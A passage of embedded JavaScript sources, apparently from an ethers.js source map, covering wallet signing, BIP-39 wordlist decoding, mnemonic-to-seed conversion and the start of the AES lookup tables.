!= null) {\n assertArgument(getAddress((tx.from)) === this.address, \"transaction from address mismatch\", \"tx.from\", tx.from);\n delete tx.from;\n }\n // Build the transaction\n const btx = Transaction.from(tx);\n btx.signature = this.signingKey.sign(btx.unsignedHash);\n return btx.serialized;\n }\n async signMessage(message) {\n return this.signMessageSync(message);\n }\n // @TODO: Add a secialized signTx and signTyped sync that enforces\n // all parameters are known?\n /**\n * Returns the signature for %%message%% signed with this wallet.\n */\n signMessageSync(message) {\n return this.signingKey.sign(hashMessage(message)).serialized;\n }\n /**\n * Returns the Authorization for %%auth%%.\n */\n authorizeSync(auth) {\n assertArgument(typeof (auth.address) === \"string\", \"invalid address for authorizeSync\", \"auth.address\", auth);\n const signature = this.signingKey.sign(hashAuthorization(auth));\n return Object.assign({}, {\n address: getAddress(auth.address),\n nonce: getBigInt(auth.nonce || 0),\n chainId: getBigInt(auth.chainId || 0),\n }, { signature });\n }\n /**\n * Resolves to the Authorization for %%auth%%.\n */\n async authorize(auth) {\n auth = Object.assign({}, auth, {\n address: await resolveAddress(auth.address, this)\n });\n return this.authorizeSync(await this.populateAuthorization(auth));\n }\n async signTypedData(domain, types, value) {\n // Populate any ENS names\n const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (name) => {\n // @TODO: this should use resolveName; addresses don't\n // need a provider\n assert(this.provider != null, \"cannot resolve ENS names without a provider\", \"UNSUPPORTED_OPERATION\", {\n operation: \"resolveName\",\n info: { name }\n });\n const address = await this.provider.resolveName(name);\n assert(address != null, \"unconfigured ENS name\", \"UNCONFIGURED_NAME\", {\n value: name\n });\n return address;\n });\n return this.signingKey.sign(TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized;\n }\n}\n//# sourceMappingURL=base-wallet.js.map","import { assertArgument } from \"../utils/index.js\";\nconst subsChrs = \" !#$%&'()*+,-./<=>?@[]^_`{|}~\";\nconst Word = /^[a-z]*$/i;\nfunction unfold(words, sep) {\n let initial = 97;\n return words.reduce((accum, word) => {\n if (word === sep) {\n initial++;\n }\n else if (word.match(Word)) {\n accum.push(String.fromCharCode(initial) + word);\n }\n else {\n initial = 97;\n accum.push(word);\n }\n return accum;\n }, []);\n}\n/**\n * @_ignore\n */\nexport function decode(data, subs) {\n // Replace all the substitutions with their expanded form\n for (let i = subsChrs.length - 1; i >= 0; i--) {\n data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2));\n }\n // Get all tle clumps; each suffix, first-increment and second-increment\n const clumps = [];\n const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => {\n if (semi) {\n for (let i = parseInt(semi); i >= 0; i--) {\n clumps.push(\";\");\n }\n }\n else {\n clumps.push(item.toLowerCase());\n }\n return \"\";\n });\n /* c8 ignore start */\n if (leftover) {\n throw new Error(`leftovers: ${JSON.stringify(leftover)}`);\n }\n /* c8 ignore stop */\n return unfold(unfold(clumps, \";\"), \":\");\n}\n/**\n * @_ignore\n */\nexport function decodeOwl(data) {\n assertArgument(data[0] === \"0\", \"unsupported auwl data\", \"data\", data);\n return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length));\n}\n//# sourceMappingURL=decode-owl.js.map","import { defineProperties } from \"../utils/index.js\";\n/**\n * A Wordlist represents a collection of language-specific\n * words used to encode and devoce [[link-bip-39]] encoded data\n * by mapping words to 11-bit values and vice versa.\n */\nexport class Wordlist {\n locale;\n /**\n * Creates a new Wordlist instance.\n *\n * Sub-classes MUST call this if they provide their own constructor,\n * passing in the locale string of the language.\n *\n * Generally there is no need to create instances of a Wordlist,\n * since each language-specific Wordlist creates an instance and\n * there is no state kept internally, so they are safe to share.\n */\n constructor(locale) {\n defineProperties(this, { locale });\n }\n /**\n * Sub-classes may override this to provide a language-specific\n * method for spliting %%phrase%% into individual words.\n *\n * By default, %%phrase%% is split using any sequences of\n * white-space as defined by regular expressions (i.e. ``/\\s+/``).\n */\n split(phrase) {\n return phrase.toLowerCase().split(/\\s+/g);\n }\n /**\n * Sub-classes may override this to provider a language-specific\n * method for joining %%words%% into a phrase.\n *\n * By default, %%words%% are joined by a single space.\n */\n join(words) {\n return words.join(\" \");\n }\n}\n//# sourceMappingURL=wordlist.js.map","// Use the encode-latin.js script to create the necessary\n// data files to be consumed by this class\nimport { id } from \"../hash/index.js\";\nimport { assertArgument } from \"../utils/index.js\";\nimport { decodeOwl } from \"./decode-owl.js\";\nimport { Wordlist } from \"./wordlist.js\";\n/**\n * An OWL format Wordlist is an encoding method that exploits\n * the general locality of alphabetically sorted words to\n * achieve a simple but effective means of compression.\n *\n * This class is generally not useful to most developers as\n * it is used mainly internally to keep Wordlists for languages\n * based on ASCII-7 small.\n *\n * If necessary, there are tools within the ``generation/`` folder\n * to create the necessary data.\n */\nexport class WordlistOwl extends Wordlist {\n #data;\n #checksum;\n /**\n * Creates a new Wordlist for %%locale%% using the OWL %%data%%\n * and validated against the %%checksum%%.\n */\n constructor(locale, data, checksum) {\n super(locale);\n this.#data = data;\n this.#checksum = checksum;\n this.#words = null;\n }\n /**\n * The OWL-encoded data.\n */\n get _data() { return this.#data; }\n /**\n * Decode all the words for the wordlist.\n */\n _decodeWords() {\n return decodeOwl(this.#data);\n }\n #words;\n #loadWords() {\n if (this.#words == null) {\n const words = this._decodeWords();\n // Verify the computed list matches the official list\n const checksum = id(words.join(\"\\n\") + \"\\n\");\n /* c8 ignore start */\n if (checksum !== this.#checksum) {\n throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`);\n }\n /* c8 ignore stop */\n this.#words = words;\n }\n return this.#words;\n }\n getWord(index) {\n const words = this.#loadWords();\n assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, \"index\", index);\n return words[index];\n }\n getWordIndex(word) {\n return this.#loadWords().indexOf(word);\n }\n}\n//# sourceMappingURL=wordlist-owl.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nconst words = \"0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{etImeIspIt-OpO[Ou^OwdUci$UelUi'Umb!Un^UshYY,$2BeLtu*PPbo?dRiousRr|Rta(R=Sh]/omTe3C!:DMa+MpN)Ng R(gShUght WnY3AlBa>BrisCadeCemb CideCl(eC%a>C*a'ErF&'F(eFyG*eLayLiv M3AgramAlAm#dAryCeE'lEtFf G.$Gn.yLem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roomS-/Tu$3Self/ yTh:I=MePk(Rrow/yT]Tu*3ArCkEdGati=G!@I` PhewR=/TTw%kUtr$V WsXt3CeGht5B!I'M(eeOd!Rm$R`SeTab!TeTh(gTi)VelW5C!?Mb R'T:K0EyJe@Li+Scu*S =Ta(Vious0CurEAyEa'Ed+U{UgUn+2EmEtIntL?LeLi)NdNyOlPul?Rt]S.]Ssib!/TatoTt yV tyWd W _@i)Ai'Ed-tEf Epa*Es|EttyEv|I)IdeIm?yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO\";\nconst checksum = \"0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60\";\nlet wordlist = null;\n/**\n * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangEn extends WordlistOwl {\n /**\n * Creates a new instance of the English language Wordlist.\n *\n * This should be unnecessary most of the time as the exported\n * [[langEn]] should suffice.\n *\n * @_ignore:\n */\n constructor() { super(\"en\", words, checksum); }\n /**\n * Returns a singleton instance of a ``LangEn``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangEn();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-en.js.map","import { pbkdf2, sha256 } from \"../crypto/index.js\";\nimport { defineProperties, getBytes, hexlify, assertNormalize, assertPrivate, assertArgument, toUtf8Bytes } from \"../utils/index.js\";\nimport { LangEn } from \"../wordlists/lang-en.js\";\n// Returns a byte with the MSB bits set\nfunction getUpperMask(bits) {\n return ((1 << bits) - 1) << (8 - bits) & 0xff;\n}\n// Returns a byte with the LSB bits set\nfunction getLowerMask(bits) {\n return ((1 << bits) - 1) & 0xff;\n}\nfunction mnemonicToEntropy(mnemonic, wordlist) {\n assertNormalize(\"NFKD\");\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const words = wordlist.split(mnemonic);\n assertArgument((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, \"invalid mnemonic length\", \"mnemonic\", \"[ REDACTED ]\");\n const entropy = new Uint8Array(Math.ceil(11 * words.length / 8));\n let offset = 0;\n for (let i = 0; i < words.length; i++) {\n let index = wordlist.getWordIndex(words[i].normalize(\"NFKD\"));\n assertArgument(index >= 0, `invalid mnemonic word at index ${i}`, \"mnemonic\", \"[ REDACTED ]\");\n for (let bit = 0; bit < 11; bit++) {\n if (index & (1 << (10 - bit))) {\n entropy[offset >> 3] |= (1 << (7 - (offset % 8)));\n }\n offset++;\n }\n }\n const entropyBits = 32 * words.length / 3;\n const checksumBits = words.length / 3;\n const checksumMask = getUpperMask(checksumBits);\n const checksum = getBytes(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask;\n assertArgument(checksum === (entropy[entropy.length - 1] & checksumMask), \"invalid mnemonic checksum\", \"mnemonic\", \"[ REDACTED ]\");\n return hexlify(entropy.slice(0, entropyBits / 8));\n}\nfunction entropyToMnemonic(entropy, wordlist) {\n assertArgument((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, \"invalid entropy size\", \"entropy\", \"[ REDACTED ]\");\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const indices = [0];\n let remainingBits = 11;\n for (let i = 0; i < entropy.length; i++) {\n // Consume the whole byte (with still more to go)\n if (remainingBits > 8) {\n indices[indices.length - 1] <<= 8;\n indices[indices.length - 1] |= entropy[i];\n remainingBits -= 8;\n // This byte will complete an 11-bit index\n }\n else {\n indices[indices.length - 1] <<= remainingBits;\n indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits);\n // Start the next word\n indices.push(entropy[i] & getLowerMask(8 - remainingBits));\n remainingBits += 3;\n }\n }\n // Compute the checksum bits\n const checksumBits = entropy.length / 4;\n const checksum = parseInt(sha256(entropy).substring(2, 4), 16) & getUpperMask(checksumBits);\n // Shift the checksum into the word indices\n indices[indices.length - 1] <<= checksumBits;\n indices[indices.length - 1] |= (checksum >> (8 - checksumBits));\n return wordlist.join(indices.map((index) => wordlist.getWord(index)));\n}\nconst _guard = {};\n/**\n * A **Mnemonic** wraps all properties required to compute [[link-bip-39]]\n * seeds and convert between phrases and entropy.\n */\nexport class Mnemonic {\n /**\n * The mnemonic phrase of 12, 15, 18, 21 or 24 words.\n *\n * Use the [[wordlist]] ``split`` method to get the individual words.\n */\n phrase;\n /**\n * The password used for this mnemonic. If no password is used this\n * is the empty string (i.e. ``\"\"``) as per the specification.\n */\n password;\n /**\n * The wordlist for this mnemonic.\n */\n wordlist;\n /**\n * The underlying entropy which the mnemonic encodes.\n */\n entropy;\n /**\n * @private\n */\n constructor(guard, entropy, phrase, password, wordlist) {\n if (password == null) {\n password = \"\";\n }\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n assertPrivate(guard, _guard, \"Mnemonic\");\n defineProperties(this, { phrase, password, wordlist, entropy });\n }\n /**\n * Returns the seed for the mnemonic.\n */\n computeSeed() {\n const salt = toUtf8Bytes(\"mnemonic\" + this.password, \"NFKD\");\n return pbkdf2(toUtf8Bytes(this.phrase, \"NFKD\"), salt, 2048, 64, \"sha512\");\n }\n /**\n * Creates a new Mnemonic for the %%phrase%%.\n *\n * The default %%password%% is the empty string and the default\n * wordlist is the [English wordlists](LangEn).\n */\n static fromPhrase(phrase, password, wordlist) {\n // Normalize the case and space; throws if invalid\n const entropy = mnemonicToEntropy(phrase, wordlist);\n phrase = entropyToMnemonic(getBytes(entropy), wordlist);\n return new Mnemonic(_guard, entropy, phrase, password, wordlist);\n }\n /**\n * Create a new **Mnemonic** from the %%entropy%%.\n *\n * The default %%password%% is the empty string and the default\n * wordlist is the [English wordlists](LangEn).\n */\n static fromEntropy(_entropy, password, wordlist) {\n const entropy = getBytes(_entropy, \"entropy\");\n const phrase = entropyToMnemonic(entropy, wordlist);\n return new Mnemonic(_guard, hexlify(entropy), phrase, password, wordlist);\n }\n /**\n * Returns the phrase for %%mnemonic%%.\n */\n static entropyToPhrase(_entropy, wordlist) {\n const entropy = getBytes(_entropy, \"entropy\");\n return entropyToMnemonic(entropy, wordlist);\n }\n /**\n * Returns the entropy for %%phrase%%.\n */\n static phraseToEntropy(phrase, wordlist) {\n return mnemonicToEntropy(phrase, wordlist);\n }\n /**\n * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase.\n *\n * This checks all the provided words belong to the %%wordlist%%,\n * that the length is valid and the checksum is correct.\n */\n static isValidMnemonic(phrase, wordlist) {\n try {\n mnemonicToEntropy(phrase, wordlist);\n return true;\n }\n catch (error) { }\n return false;\n }\n}\n//# sourceMappingURL=mnemonic.js.map","/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */\nvar __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n};\nvar __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n};\nvar _AES_key, _AES_Kd, _AES_Ke;\n// Number of rounds by keysize\nconst numberOfRounds = { 16: 10, 24: 12, 32: 14 };\n// Round constant words\nconst rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91];\n// S-box and Inverse S-box (S is for Substitution)\nconst S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0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x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d];\n// Transformations for encryption\nconst T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a];\nconst T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616];\nconst T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 